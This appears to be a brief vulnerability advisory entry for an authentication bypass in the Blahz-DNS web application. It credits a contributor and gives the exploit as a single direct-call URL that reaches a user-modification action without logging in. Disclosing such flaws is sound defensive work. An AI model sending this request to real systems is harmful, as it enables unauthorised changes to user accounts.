• info
• discussion
• exploit
• solution
• references

Blahz-DNS Direct Script Call Authentication Bypass Vulnerability

ppp-design <security@ppp-design.de> has contributed the following exploit:

http://www.example.com/dostuff.php?action=modify_user